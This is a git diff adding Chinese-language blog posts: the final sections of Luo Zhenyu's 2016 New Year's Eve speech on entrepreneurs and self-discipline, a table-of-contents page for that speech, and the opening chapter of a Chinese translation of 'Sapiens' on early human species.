+还有，我们是永远的挫败者，任何其他行业，你人生的高度是用什么标定的？是用你人生当中最得意的那一刻标定的，那个高峰。但是我们创业者，是以你的终局来标定的，换句话说，你在死的时候，或者你退休的时候，你的企业是不是上升期，决定了你在商业史上的地位。我们来看一系列的品牌，诺基亚、摩托罗拉、索尼、惠普、雅虎，人们记住的不是这些伟大公司最辉煌的时刻，而是他们终局时落魄的样子，商学院的教授心狠着呢，不管以前多么夸你，把你列入教案，在你死去那一刻立刻把你改了叉叉，教训，你就这样被标定在商学院的史册上，我们是一个终身的挫败者。 + +在这儿，我特别想由衷地插一段话，我们创业者这个群体，**结成共同体**的意思是什么？**不是让你帮到彼此，没必要，看见别人死了，吸取他的教训，把他埋了就完了，自找的。**但是我们至少应该有一种能力吧？这种能力叫做感受这个群体当中其他创业者的苦乐和悲欢的能力吧，这跟别人无关，这是对我们自己好的事情。但是，在现在的创业者共同体当中，我看不到这一点。真的。今年黄太吉，黄太吉的赫畅我很熟，算是朋友，说他在关店。那几天我在朋友圈里看到的全是嘲笑，全是幸灾乐祸，充满了一种果然不出我所料的口气。然后我看到了赫畅写的一篇文章，他问了三个问题。第一，黄太吉四年的出现，对中国餐饮业有没有贡献？答案当然是有。第二个问题，黄太吉对于餐饮新一代的创业者影响究竟大不大？当然大。第三个问题，你们真的希望一个没有黄太吉的世界吗？反正我不希望。为什么？我不愿丧失这个能力，感受这个共同体其他人的悲欢和苦乐的能力，因为我感受到一份，我自己就多条路。创业者的命运，就像珊瑚虫，我们这辈子一路错下去，一路败下去，最后我们对人类文明的贡献是什么？是用自己败掉的那个尸体，堆呀堆呀堆呀，一千年一万年地堆呀，最后堆出海平面，我们是把生命当中的价值创造的一部分投射在远方的那个大屏幕上，哪怕是一个光斑呢，最后堆出海平面，我们是这样一群人。 + +再举一个例子，乐视。11月之后，我的朋友圈里，我看到大量的人幸灾乐祸，我指的不是批评，我指的是幸灾乐祸。其实这家公司很简单，就那么点事，融资、搞事，事不够了去融资，你很难说他是编故事还是什么，说不清楚，他就是这么一个新的物种，没有什么太多的秘密，那么多人希望他死。我不希望他死，我不是在这儿秀自己的道德感，不是的，我只是在问一个问题，如果我跟他是一个创业的共同体的话，我会怎么做？我觉得我不能丧失一种能力，就是看不到他人为我探的路，感受不到价值创造的惊喜，我不能做这样的人。所以如果换作是我，我对于乐视的困境，我会做三个反应，第一，我不希望他死，我希望他成，因为他成了之后，等于他用成本和经历为我探了一条路。第二，我希望各种稀奇古怪、光怪陆离的人成，因为他们成了之后，这个世界会变得更加有趣、更加多元，这句话我在我的节目当中多次为罗永浩说过。第三，如果他们死了，那好，我会站在他们的角度上仔细复盘，是什么样的诱惑让他走进了一条死路呢？他们为什么没有能够协调出资源克服这个困难呢？如果此刻失败的是我，我有没有能力挺住呢？这是我要问的问题。 + +创业者之间自然会有恩仇，但是这个恩仇，如果你承认我们是一个共同体，我们能不能像军人处理这种问题的方式来处理？打仗的时候，好好打，对方输了，至少不侮辱对方的尸体。时间快到了，我特别想放出一张片子，是本场风格最特殊的一张片子，如果我们是一个共同体，我们可以至少做到不黑他们。创业者的命，刚才我说的好像特别悲情，其实也不是了。创业者也有一个天大的好处，就是我们拥有了命运的刻度条。罗曼•罗兰说过，有的人二三十岁就死了，他们变成了自己的影子，不断地重复自己。为什么？因为他不知道他自己的生命长到多大。但是我们创业者有一个天大的好处，就是我们拥有一根刻度条。一个作家，他觉得自己进步了，我写得妙笔生花了，怎么办？没有一个标准能够评价。但是创业者，我们本质上就在修行自己，我们的生命拥有着一个外在的刻度条，别看我们争名逐利，实际上我们的营业额、我们的市值、我们的估值，它就是我们变得多强大的一个外在的可以看到的数字，这是我们这群人最骄傲的地方，只要他不是一个创业者，他没有走进商业事业，或者开拓人类文明新边疆的事业，他不拥有这根创业条，这是我们最傲娇的地方，我们有进度，而且自己看得见。我们可以用自己一个数字来标定自己过去的一年和未来的一年。2016年还剩最后的一分多钟，2016年，我们每个人都拥有自己的进度条。你知道的，2017年，希望这个数字我们每个人都推动它变得更大。只要这个进度条变得更大，就是我们的生命向上成长。正如莎士比亚名句《暴风雨》里写的：“凡是过去，皆为序幕”。 + +还有30秒，2016年就要过去，2017年就要到来，很多人要许愿了，我推荐大家一个愿望，就是2017年老天爷给我们所有人一次努力的机会，因为对于创业者来说，有这个机会，我们就拥有一切。 + +新年到了！ diff --git a/_posts/2017-01-04-191-luozhenyu-2017-eve-06.md b/_posts/2017-01-04-191-luozhenyu-2017-eve-06.md new file mode 100644 index 0000000..ecaee10 --- /dev/null +++ b/_posts/2017-01-04-191-luozhenyu-2017-eve-06.md @@ -0,0 +1,47 @@ +--- +layout: post +title: 六.那些男孩教我的事 +pid: 191 +tags: [罗胖跨年演讲文稿] +--- +罗振宇：新年第一件事，我们照个合影，用vivo Xplay6双曲面、专业级双摄手机照一个合影，兼顾两边，我照两张。 + +给观众席再亮一点，我的脸也太亮了。谢谢你们点亮自己的灯。 + +今天我可能说了很多错话，但是两个月来，我真的是榨尽了自己，穷其所能，也许逻辑也不够严谨，但是我试图认出2016年正在起飞的五只黑天鹅，分别是时间战场、服务升级、智能革命、认知税和共同体危机。这五件事情，它是事实，它是世界的一部分，但是还不太为人所注意。时间，争夺用户的时间正在成为一个残酷的商业战场，当你以为世上的所有空间被占满的，所有市场已经满的时候，有人正视图通过把产品推向服务，把低层服务推向更好的服务的同时，打出另外一个维度，智能革命，人工智能，用迥异于人类的那些逻辑在替代整个人类，而这里面又不乏机会。 + +认知税，这是一个全新对我们征收的税种，因为整个世界正在变得像房地产业那样，地皮是那样的珍贵，认知的带宽就那么一点，不交认知税，请打认知战。 + +最后一个，共同体，这本身是一个危机，但是未来商业空间取决于你能够拥有多么强韧兼顾的共同体纽带。这就是我今天试图跟各位汇报的过去一年我自己的思考所得。 + +今年到了，接下来这点时间，我想聊聊我自己的2016和我自己的2017。 + +这是一个粉红色的话题，那些男孩教我的事。2016年，因为我“得到”做知识服务，所以我有幸和一流的知识服务者打交道，在他们身上，我学到了很多东西。随便举几个例子，第一个男孩，李翔。这是我花199和另外8万多人共同包的一个秘书，这个男孩不错，他的《李翔商业内参》正在成为媒体界的一个小奇迹，我特别喜欢他，他也特别喜欢我。 + +2016年，有一天他突然告诉我一件事，他说你老关注互联网什么的，他说你应该关注医疗技术，我们这一代人医疗技术突飞猛进，基因治疗、个性化治疗、靶向治疗，所有这些医疗技术会产生一个结果，这个结果就是我们这一代人活到一百岁，在座的每一位，活到一百岁不是什么奇迹，这会产生一个重大的问题，我们是人类历史上第一代退休之后的时间比干活的时间要长的一代人。你想过这件事吗？特别可怕。退休之后，漫长的40年岁月，怎么打发？这会成为我们这一代人一个重大问题，2016年李翔提醒我这一点，我打了一个激灵，我说这不行，我不能到养老院里住着，然后李翔告诉我一个人叫**乔治•凯南**，熟悉冷战史的人会知道这个人，他在1946年的时候，从美国驻苏联大使馆打回一份长篇的电报，这份电报为美国拟定了此后几十年的冷战的战略，而且他准确地预言了整个冷战结束的方式。一个人，他的眼光能够穿透五十年的时光，不得了的人。但问题是，他不仅预言了这个五十年的结局，这个人还亲眼看到了这个结局，这个太罕见了。为什么？他活太长了，他活了101岁，他活到了2005年。他活着的时候发生了这么一件事，有个传记作家说我给你写一本传记吧，他说可以，我已经岁数很大了，写就写吧，我也不怕得罪谁了，有一个条件，就是我活着的时候这本书不能发表，因为我保证可以说实话，我死了之后，我说谁的难听话，谁不高兴，无所谓。这个作者就答应他了。这本书写出来，就一直不能出版，等着他死。就这本书。后来等这本书里写到的所有人都死了，他还是没有死。所以他屡次给作者写信，说抱歉，我活得太长了，所以导致根据合同，你还不能出版。 + +在漫长的晚年岁月里，乔治•凯南做了什么？他写了二十本书，写了大量的散文集，他的英语、俄语和德语都非常好，八十多岁还骑着自行车在大学校园里乱逛，他在挪威买了一条游艇，八十多岁还去驾驶，他九十多岁还出版了一本畅销书，这就是他晚年的活法。我们中国人是特别崇尚长寿的民族，但是我们很要命地相信一句话，就是伟大是熬出来的，只要活着，只要我不死，你们就得尊重我。未来的世界哪有这个道理？你毁灭自己的方式就是不成长嘛，太多的人，六十岁就死了，八十岁才埋，后面二十年活得没价值。我们这一代人绝对不甘心。去年我曾经说，我们的跨年演讲要坚持二十年，也就意味着2034年的12月31号，不，2034年的1月1号，我的最后一次跨年演讲结束，今天是倒数第19场，我那天经李翔提醒，我突然意识到，靠，后面没准儿还要活40年，难道不讲了吗？这件事情没关系，我们还有18年，慢慢想，2034年，我们共同再来做一次决定，后面怎么办。 + +这是2016年我特别震撼的事情，**伟大不是熬出来的，伟大是你活一天长一天，长出来的。**我们这一代人有机会，不能错过。 + +2016年教给我一件事的另外一个男孩是吴军，吴军在“得到”里面开的专栏叫《硅谷来信》，这个人真的是学富五车，每天给他的用户写一封信，从来不拖稿，而且质量都特别高，这些我都不说了，重要的是我突然发现，吴军是一个社会工作极其繁重的人，有科研，有教学，有社会工作，有投资，还有写作，除了这个专栏的写作，他还要写大部头的著作，他还出版了很多著作，他怎么做到的？而且太奇怪了，他这么繁重的工作，什么都没耽误啊，欧洲最好的音乐节，人家去了，欧洲几乎所有的博物馆，他挂着照相机挨个拍摄到，参访到。今年夏天，不对，是2016年，是去年夏天，他居然还有时间独自一人驾车前往阿拉斯加用他的照相机拍摄下了这副《极光》的照片。一个人家庭幸福、事业有成，同时做那么多事，他怎么做到的？我和我身边的那些创业者经常以时间不够了、我很忙等等为借口，欺负自己的亲人，欺负自己一系列的爱好，吴军怎么能做到？经过跟他一年多的交往，我在他身上看到了很有趣的品质，就是他既有目标，又专注当下，既讲利益，也讲分享，既活出高度，也必须得有色彩，这是他对自己的要求。这个要求背后是什么？其实我在他身上看到了两个字，这两个字我特别缺，叫**自律**。熟悉罗辑思维和我的人，知道我经常口头禅讲一个字，叫死磕。死磕和自律看起来是一回事，都是欺负自己，背后都有自虐嘛，但是好像又不一样。死磕是什么？死磕是不管自己怎么样，都要把事做好。自律是什么？自律是让自己变得更好，从而把事做好。在吴军身上我看见一种时间管理的强大能力，说做几分钟，我就做几分钟，说现在我要思考问题，我就思考问题，说现在闭门写作，我就必须闭门写作，强烈的自我时间管理的能力。今年有一次，我们一帮创业营的同学在吃饭，那个桌子上没有人抽烟，像我这么自律的人当然也不抽烟。后来有人抽了，然后递了我一根，我正要接，旁边一位我们创业营班上的大哥，叫王兵，他说胖子，你接了我看不起你，你是一个没有自律的人，你这辈子不要跟我谈成功。还没有人愿意当着面训斥，我那一天我心悦诚服。 + +其实我对自己的管控能力还是非常好，但是又怎么做到自律呢？太难了。 + +2016年又有一个男孩教给我一件事，解决了这个问题，他叫和菜头，和菜头只比我难看一点点，以至于就不好意思见大家。他一直在督促我干一件事情，就是把我的运动裤换成窄腿裤，就是你们现在看到的这种，他说一个胖子穿上会显得比较挺拔。我说我不要，我有钱，我媳妇孩子都有了，我创业呢，我没空，我为什么要臭美？他说为了审美，我说你那不是审美，审美是审别人，我自己就这样就行了，我为什么要创业？我创业挣钱，我就是为了我想穿什么就穿什么嘛，没人敢说我嘛。这个时候和菜头跟我讲了一句话，说人生一切努力的价值，就是为了成为美好的一部分。但是，你首先得知道，什么东西是美好的。你穿着一条经过挑剔的裤子，然后你就会需要一条相对体面的腰带，然后你就会知道自己身上缺乏一些配饰，你会不断地追求生活趣味中，让自己变得更好、更体面，请注意，这就是自律。对，好像我在混淆很多概念，但是大家想一想，穿得体面这件事情其实意味着什么？意味着你得遭罪啊。如果你穿得西装笔挺，意味着你的衬衫、你的西装得经常打理吧，这很麻烦吧，你行走坐卧得有个人样儿吧，你不能往哪儿都葛优躺，弄得浑身皱巴巴吧。你吃饭的速度得有点节制吧，不能弄得一身汤汁淋漓吧？对，好东西，美好的东西，反过来就是自律。所以，在和菜头这段话当中，我知道，体面的穿着不是什么炫耀的工具，而是约束自己的工具。我们因为追逐生活的趣味而自律，因为自律而达成体面，这是一条管道，一个人借口我爱自由，所以我老穿得特别邋遢，我不顾自己的仪容，我可以三天不洗澡，我浑身散发出一种独特的体味，真的，各位，有无数到我们公司号称要求职要面试的人，就是这副模样，他觉得自己有才，有知识，我有本事，但是你这副模样出现在我面前的时候，让我一眼知道，你不是一个体面的人，这就可以倒推你不是一个自律的人，又往回倒推，你是一个对生活没有趣味的人，这样的人，你怎么说服我做我的同事？我这不是批评任何人，我实际上是在谴责我自己，过去我就是一个自律做得不好的人。在此，我郑重向大家承诺，穿运动服做跨年演讲，这是最后一次。我量身定制的西装、衬衫正在路上，欢迎中国全球各大服装品牌明年提供赞助。 + +还有一个男孩，李笑来，这个人号称他很有钱，反正也经常请我们吃饭，做了一个专栏叫《通往财富自由之路》，但是我知道他的订户非常多，现在已经有十万多人，但其中很多人肯定是上当受骗了，以为看这个专栏教你怎么发财，但是李笑来教你的东西其实只有一样，就是怎样做一个更好的自己，让你变得更值钱，所以你会更有钱。很多订户一定是上当了。2016年，在一次闲谈中，李笑来跟我讲了一件事，我听完之后浑身冒冷汗，他说你知道吗，现在有这样一种人，他的收入已经很高，一个月十几万，甚至二十万的收入，做什么的咱们不说，咱就说这种人收入很高，但是你发现，他不相信正常的社会协作，比如他不相信理财，他买东西仍然要占便宜，他爱买打折货，爱买假货，他可以一天晚上为游戏花掉几万块钱，但是他不肯买一支真的口红，有这样的人。他们已经非常的富有，但是他们没有能力进行正常的社交，他们可以为异性花很多钱，但是他没有能力建立正常的爱情和家庭生活。这样的人真有。其实这样的提醒，突然有很多事情灌到我的脑子里。2016年有一次，我陪我的朋友去看二手房，很贵很贵的二手房，每一套房大概都是两千万人民币以上。那天我非常有幸，我连续看了六套，因为是二手房嘛，所以原来的主人都住在里面，所以那天对我来说，是一个微型的社会学的抽样调查，就是中国的有钱人过的是什么日子，非常惊讶，也许我特别倒霉那一天，我看到了六个有钱的人家过得不像个样子，他们脏、乱、差、懒，早上十点钟，女主人不起床，起床之后不洗脸，蓬头垢面接待我这样的陌生人，家里乱得一塌糊涂。他们不是没前买陈设，那些陈设看起来有些还很昂贵，但是在审美上，是那么的不搭调，甚至是狰狞。2016年夏天的那一天对我来说是特别大的刺激，为什么？因为我们这一代人从小就被灌输了一个假设，就是我们过不好，是因为缺资源、缺钱，我们总觉得，等我有钱了，等我有关系了，我有什么资源了，我就会过得好。但是真的，2016年李笑来告诉我的事情，和我亲眼在那天看二手房看到的事情，我知道人有一种能力的极限，就是给你多少资源，你拥有多少钱，你仍然过不好这一生。我此前四十多年奋斗努力的前提假设，在2016年那个瞬间崩掉了。 + +当我们趴着栏杆往下看那一群人，我知道他过得不好。正有人趴着栏杆在看我，罗胖，觉得自己还不错是吧？实际上你忙得像条狗，你穿得破衣烂衫，你毫无品味，你生活的情趣是那样的狭窄，你过得不好，一定有人趴着栏杆在这么看我，他不会告诉我的。但是2016年夏天那一刻，我突然明白了，我们这一生想要过得更好，真的和外界的资源一点关系都没有，一切的根源都是自我。所以，今年罗辑思维的节目，不，去年罗辑思维的节目，有一句话我说了，但是我觉得很少有人get到我的意思，就是所谓更牛，就是换个罪受。这是我在2016年最痛的领悟。 + +**我们这一生不是努力获得资源然后就不受罪了，我们这一生的宿命是，我们努力，我们变得更牛，我们因此自律，我们换个罪受，因此变得更加体面，这是一条无尽的上升的管道。**有的是人格的典范，他们资源未必有我们多，但是过得比我们好。刚才是几个男孩教给我的事，想不想听女孩教给我的事？有的能说，有的不能说。就说两个女孩教我的事吧，这俩能说。 + +这是罗思思，这是罗维维，2016年6月6号出生，双胞胎，我们家的一对小公主。她们还不会说话，但是2016年，她们教给我一件特别重要的事，过去我所有的努力，都是为了让自己变得更好，但是因为有了她们，我知道我的世界从此发生了变化。从现在开始，我所有的努力不仅是让自己变得更好，而且也是为了让整个世界变得更好。我离去这个世界的时候，我希望留给她们一个更好的世界。 + +这就是今年的跨年演讲，罗胖向各位诚挚鞠躬。 + +正在响起的这首歌，歌手叫科恩，2016年，他老人家去世了。我听说过他一件事，老人家74岁的时候，突然发现自己所有的钱，所有的钱，被经纪人骗光。有人问他，你怎么办？你风烛残年，他说这有什么，卷起袖子，背起乐器，接着录唱片，接着去做全球的巡演，科恩的所有歌中，有一句歌词感动到了我，他说世界可能浑沌一片，万物皆有裂痕。 + +但是没关系，在黑天鹅起舞的所有的裂痕中，那是光照进来的地方。 + +（结束） diff --git a/_posts/2017-01-04-192-luozhenyu-2017-eve.md b/_posts/2017-01-04-192-luozhenyu-2017-eve.md new file mode 100644 index 0000000..23a7155 --- /dev/null +++ b/_posts/2017-01-04-192-luozhenyu-2017-eve.md @@ -0,0 +1,23 @@ +--- +layout: post +title: 2016年罗胖跨年演讲文稿 +pid: 192 +tags: [罗胖跨年演讲文稿] +--- + +![](/uploads/2017/01/04-01.jpg) + +# 目录 + +00. [开场](http://www.baoguoding.com/2017/01/185-luozhenyu-2017-eve-00.html) +01. [一.时间战场](http://www.baoguoding.com/2017/01/186-luozhenyu-2017-eve-01.html) +02. [二.消费升级](http://www.baoguoding.com/2017/01/187-luozhenyu-2017-eve-02.html) +03. [三.智能革命](http://www.baoguoding.com/2017/01/188-luozhenyu-2017-eve-03.html) +04. [四.认知迭代](http://www.baoguoding.com/2017/01/189-luozhenyu-2017-eve-04.html) +05. [五.后真相](http://www.baoguoding.com/2017/01/190-luozhenyu-2017-eve-05.html) +06. [六.那些男孩教我的事](http://www.baoguoding.com/2017/01/191-luozhenyu-2017-eve-06.html) + + +# 压缩版 + +[谷阿莫8分钟看完逻辑思维2016跨年演讲：时间的朋友](https://v.qq.com/x/page/n0361nwpplk.html) diff --git a/_posts/2017-01-06-193-sapiens-cp01.md b/_posts/2017-01-06-193-sapiens-cp01.md new file mode 100644 index 0000000..f3f25d1 --- /dev/null +++ b/_posts/2017-01-06-193-sapiens-cp01.md @@ -0,0 +1,77 @@ +--- +layout: post +title: 第一章人类：一种也没什么特别的动物 +pid: 193 +tags: [人类简史：从动物到上帝] +--- +第一部分 +认知革命 +图1 南法的雪维洞穴（Chauvet-Pont-d’Arc Cave）大约3万年前至两万年前的人类手印。这些艺术作品的创作者，无论从外观、思维还是感觉来看，都与我们很相像。 +第一章 +人类：一种也没什么特别的动物 +大约在135亿年前，经过所谓的“大爆炸”（Big Bang）之后，宇宙的物质、能量、时间和空间才成了现在的样子。宇宙的这些基本特征，就成了“物理学”。 +在这之后过了大约30万年，物质和能量开始形成复杂的结构，称为“原子”，再进一步构成“分子”。至于这些原子和分子的故事以及它们如何互动，就成了“化学”。 +大约38亿年前，在这个叫作地球的行星上，有些分子结合起来，形成一种特别庞大而又精细的结构，称为“有机体”。有机体的故事，就成了“生物学”。 +到了大约7万年前，一些属于“智人”（Homo sapiens）这一物种的生物，开始创造出更复杂的架构，称为“文化”。而这些人类文化继续发展，就成了“历史学”。 +在历史的路上，有三大重要革命：大约7万年前，“认知革命”（Cognitive Revolution）让历史正式启动。大约12000年前，“农业革命”（Agricultural Revolution）让历史加速发展。而到了大约不过是500年前，“科学革命”（Scientific Revolution）可以说是让历史画下句点而另创新局。这本书的内容，讲述的就是这三大革命如何改变了人类和其他生物。 +* * * +人类早在有历史记录之前就已存在。早在250万年前，就已经出现了非常类似现代人类的动物。然而，世世代代的繁衍生息，他们与一同共享栖地的其他生物相比，并没什么特别突出之处。 +如果到200万年前的东非逛一逛，你很可能会看到一群很像人类的生物：有些妈妈一边哄着小婴儿，一边还得把玩疯的小孩抓回来，忙得团团转；有些年轻人对社会上种种规范气愤不满，也有些垂垂老矣的老人家只想图个清静；有肌肉猛男捶着自己的胸膛，只希望旁边的美女能够垂青；也有年长的充满智慧的大家长，对这一切早就习以为常。这些远古时期的人类已懂得爱和玩乐，能够产生亲密的友谊，也会争地位、夺权力，不过，这些人和黑猩猩、狒狒、大象也没什么不同。这些远古人类，和一般动物比起来就是没什么特别。他们万万没有想到，他们的后代某一天竟能在月球上漫步、分裂原子、了解基因码，还能写写历史书。说到史前人类最重要的一件事，就是他们在当时根本无足挂齿，对环境的影响也不见得比大猩猩、萤火虫或是水母来得多。 +生物学家把所有生物划分成不同的“物种”。而所谓属于同一物种，就是它们会彼此交配，能够产出下一代。例如马和驴，虽然有共同的祖先，也有许多类似的身体特征，也能够交配，但它们彼此却是缺少性趣，就算刻意让它们交配，产出的下一代会是骡，而不具有生育能力。因此，驴的DNA突变就不可能会传给马这个物种，马也不会传给驴。于是，我们认定马和驴属于两个不同的物种，各有各自的演化路径。相较之下，虽然斗牛犬和西班牙猎犬看来天差地别，却属于同一物种，有一样的DNA库。它们很愿意交配，而且它们的小狗长大后也能再和其他狗交配、子孙满堂。 +从同一个祖先演化而来的不同物种，会属于同一个“属”（genus）。例如狮子、老虎、豹和美洲豹，虽然是不同物种，但都是“豹属”（Panthera）。生物学家用拉丁文为生物命名，每个名字由两个词组成，第一个词是属名，第二个词则是种名。例如狮子就称为“Panthera leo”，指的是豹属（Panthera）的狮种（leo）。而只要没有意外，每一位在读这本书的应该都是一个“Homo sapiens”：人属（Homo，指“人”）的人种（sapiens，指“明智”）。 +许多属还能再归类为同一科（family），例如猫科（狮子、猎豹、家猫）、犬科（狼、狐狸、豺）、象科（大象、长毛象、乳齿象）。同一科的所有成员，都能追溯到某个最早的雄性或雌性祖先。例如所有的猫科动物，不管是家里喵喵叫的小猫或是草原上吼声震天的狮子，都是来自大约2500万年前的某头祖先。 +至于智人，也是属于某个科。虽然这件事看来再平凡不过，却曾经是整个历史上最大的秘密。智人一直希望自己和其他动物有所不同，仿佛整个科就只有自己的存在，没有兄弟姐妹，没有远近亲戚，而且最重要的是：没有父母。但可惜这绝非事实。不论你是否接受，我们所属的人科不仅成员众多，而且还特别吵闹，那就是一堆巨猿。与我们最相近的亲戚，就是黑猩猩、大猩猩和猩猩。其中，黑猩猩与我们最为接近。不过就在6万年前，有一头母猿产下两个女儿，一头成了所有黑猩猩的祖先，另一头则成了所有人类的祖奶奶。 +家族秘史 +智人还有另一个更见不得光的秘密。我们有许多堂、表兄弟姐妹，而且没什么文明，但这还小事一桩；我们其实还曾经有很多更相近的兄弟姐妹。人类（human）已经习惯以为自己是唯一的“人”，是因为在过去1万年间，“人种”确实只剩下智人一种。然而，“human”一词真正的意思是“属于人属的动物”，而在过去，这可不只“智人”而已。此外，我们在最后一章也会提到，不久之后，很可能我们又得再和一些不属“智人”的人类开始竞争。为避免混淆，以下讲到“智人”，讲的就是“Homo sapiens”这个物种的成员，而讲到“人类”，讲的则是“Homo”（人属）的所有现存成员。 +最早的人类是从大约250万年前的东非开始演化，祖先是一种更早的猿属“Australopithecus”（南方古猿）。大约200万年前，这些远古人类有一部分离开了家园而踏上旅程，足迹遍及北非、欧洲和亚洲的广大地带。北欧的森林白雪皑皑，印度尼西亚的热带丛林湿气蒸腾，想活命显然需要不同的特征，因此人类也开始朝着不同方向进化。于是人类发展出几个不同的物种，而科学家也为每一种都取了华丽的拉丁名称。 +在欧洲和西亚的人类成了“Homo neanderthalensis”，意为“来自尼安德谷（Neander Valley）的人”，一般简称为“尼安德特人”（Neanderthals）。比起我们这种“智人”，尼安德特人更为魁梧，肌肉也更发达，非常适应西方的欧亚大陆在冰河时期的寒冷气候。至于在东方的亚洲，住的则是“Homo erectus”（直立人），一共存续了将近200万年，是目前所知存续最久的人类物种，而我们智人看来也很难打破这项纪录。光是1000年后还会不会有智人存在，现在看来都令人十分怀疑，所以和200万年比起来，我们真的是小巫见大巫。 +至于在印度尼西亚的爪哇岛，则住着“Homo soloensis”（梭罗人，拉丁文意为“来自梭罗谷的人”），这种人很能适应热带的生活环境。同样在印度尼西亚，还有另一个小岛弗洛里斯（Flores），这里住的远古人类则是经历了一场侏儒化的过程。曾有一段时间，因为海水水位格外低，于是人类初次抵达了弗洛里斯，而且当时和大陆的交通往来十分便利。但后来海水再次上涨，于是有些人就被困在岛上，物资十分缺乏。那些长得高头大马的人，需要的食物也多，于是最早在岛上饿死淘汰。长得矮反而成了生存优势。经过几代之后，在弗洛里斯的人都成了小矮人。科学家把这种独特的人种称为“Homo floresiensis”（弗洛里斯人），身高最高不过1米，体重最重也不过25公斤。然而，他们仍然懂得如何制造石器，甚至偶尔还能在岛上猎象。不过倒也公平，在这岛上的象也是一种矮生种。 +2010年，科学家在西伯利亚的丹尼索瓦（Denisova）洞穴中发现了一块已经变成化石的手指骨，为人类的大家族又添一种成员。手指骨的基因分析证实这个人种过去并不为人知，现在则命名为“Homo denisova”（丹尼索瓦人）。全球还有太多洞穴、岛屿、气候，谁晓得还有多少我们失落的亲戚，正等着我们去发现。 +这几个人种在欧洲和亚洲不断演化的同时，其他在东非的人种演化也没有停止，人类的摇篮继续养育着许多新品种，例如“Homo rudolfensis”（鲁道夫人，“来自鲁道夫湖的人”）、“Homo ergaster”（匠人，“工作的人”），最后还有我们自己的这种人种，而我们也颇为厚颜地把自己命名为“Homo sapiens”（智人，“明智的人”）。 +在这些人种当中，有些高大，有些矮小，有些会凶残地猎捕，有些只是温和地采集着食物，有些只住在某个小岛上，而大多是在整个大陆上迁徙移动；但不论如何，他们都是“人属”，也都是人类。 +图2 这些都可说是我们的兄弟姐妹，据推测重建样貌（从左至右）：鲁道夫人（东非，距今大约200万年）；直立人（东亚，距今约200万~5万年）；尼安德特人（欧洲和西亚，距今约40万~3万年）。他们都是“人类”。 +有一种常见的错误，是认为这些人种是呈线性发展，从“匠人”变成“直立人”，“直立人”再变成“尼安德特人”，而尼安德特人再变成我们。这种线性模型误以为地球在某个时间点上只会有单一人种，而其他更早的人种不过就是我们的祖先。但事实是，从大约200万年前到大约1万年前为止，整个世界其实同时存在多种不同人种。这其实也十分合理。就像今天，地球上还是有许多种的狐狸、熊或是猪，而在几十万年前的地球上，至少就有6种不同的人。从整个历史来看，过去多种人种共存其实是常态，现在地球上只有“一种人”，这才是异常。而下面很快就会提到，对于我们智人来说，我们不愿想起这些过去的手足亲情，背后其来有自。 +“思考”的代价 +虽然人种之间有诸多不同，但还是有几项共同的人类特征。其中最重要的一点，就是人类的大脑明显大于其他动物。对于60公斤的哺乳类来说，平均脑容量是200立方厘米，但早在250万年前最早的男男女女，脑容量就已有600立方厘米，至于现代的智人，平均脑容量更高达1200~1400立方厘米。至于尼安德特人，其实脑容量更大。 +这样看来似乎再清楚不过，物竞天择就该让脑越来越大才是。人类深深迷恋着我们自己的高智能，于是一心认为智力当然是越高越好。但如果真是如此，猫科动物也经过演化，为什么没有会微积分的猫？究竟为什么，在整个动物界，只有人属演化出了比例如此庞大的思考器官？ +答案在于：庞大的大脑也是个庞大的负担。大脑结构脆弱，原本就不利于活动，更别说还得用个巨大的头骨把它装着。而且大脑消耗的能量惊人。对智人来说，大脑只占身体总重约2%~3%，但在身体休息而不活动时，大脑的能量消耗却占了25%。相比之下，其他猿类的大脑在休息时的能量消耗大约只占8%。因为大脑较大，远古人类付出的代价有两种：首先是得花更多时间寻找食物，其次是肌肉退化萎缩。这就像是政府把国防预算转拨给了教育，人类也把手臂二头肌所需的能量拨给了大脑里的神经元。对于在非洲草原上这究竟是不是个好策略，事先只能说无人能知。虽然黑猩猩要讲道理绝对讲不赢智人，但它却能直接把智人像个布娃娃一样扯个稀烂。 +时到今日，人类大脑带来的好处显而易见，我们能制造出汽车和枪炮，让我们的移动速度远高于黑猩猩，而且从远方就能将黑猩猩一枪毙命，而无须和它摔跤硬拼。只不过，汽车和枪炮是最近才有的事。在超过200万年间，虽然人类的神经网络不断增长，但除了能用燧石做出一些刀具，能把树枝削尖变成武器，人类的大脑实在没什么特殊表现。那么，究竟是为什么，才驱使人类的大脑在这200万年间不断这样演化？坦白说，我们也不知道。 +人类另一项独有的特点，在于我们用两条腿直立行走。能够站起来，就更容易扫视整片草原，看看哪里有猎物或敌人，而且既然手不需负责移动身体，就能发挥其他用途，像是丢石块或是做信号。手能做的事情越多，可以说人就变得越厉害；于是人的演化也就越来越着重神经发展，也不断地对手掌和手指的肌肉做修正。于是，人类的手开始能够处理非常精细的任务，特别是能够生产、使用复杂的工具。最早有证据证明人类开始制作工具，大约可追溯到250万年前，而且工具的制作和使用也正是考古学家对远古人类的一种判断标准。 +然而，直立行走也有不利的一面。原本，人类的远古祖先历经数百万年，才发展出以四肢行走、头部相对较小的骨架，而要将这种骨架调整成直立，可说是一大挑战，而且还得撑住一个超大的头盖骨，更是难上加难。于是，为了能望远、能有灵活的双手，现在人类只得面对背痛、颈脖僵硬的苦恼代价。 +这点对妇女来说造成的负担更大。直立的步行方式需要让臀部变窄，于是产道宽度受限，而且别忘了婴儿的头还越来越大。于是，分娩死亡成了女性的一大风险。而如果早点儿生产，婴儿的大脑和头部都还比较小，也比较柔软，这位母亲就更有机会渡过难关，未来也可能再生下更多孩子。于是，自然选择（natural selection，又译“天择”或“自然淘汰”）就让生产开始提前。与其他动物相较，人类可说都是早产儿，许多重要器官的发育都还不够完善。看看小马，出生没多久就能开始小跑步；小猫出生不过几周，也能离开母亲自行觅食。相较之下，人类的婴儿只能说没用得很，许多年都得当个啃老族来被抚养、保护和教育。 +人类之所以会有突出的社交技巧（以及同样人类独有的社会问题），有一大原因也正出自于此。独自一人的母亲，如果还得拖着孩子，就很难为自己和小孩取得足够的食物。所以，想养孩子，就需要其他家族成员和邻居持续提供协助。要养活一个小孩，得靠全部落共同的努力。于是，演化也就偏好能够形成强大社会关系的种族。此外，由于人类出生的时候尚未发育完全，比起其他动物，也就更能够用教育和社会化的方式加以改变。大多数哺乳动物脱离子宫的时候，就像是已经上釉的陶器出了窑，如果还想再做什么调整，不是刮伤，就是碎裂。然而，人类脱离子宫的时候，却像是从炉里拿出了一团刚熔化的玻璃，可以旋转、拉长，可塑性高到令人叹为观止。正因如此，才会有人是基督徒或佛教徒，有人是资本主义者或社会主义者，又或有人好战，有人爱好和平。 +* * * 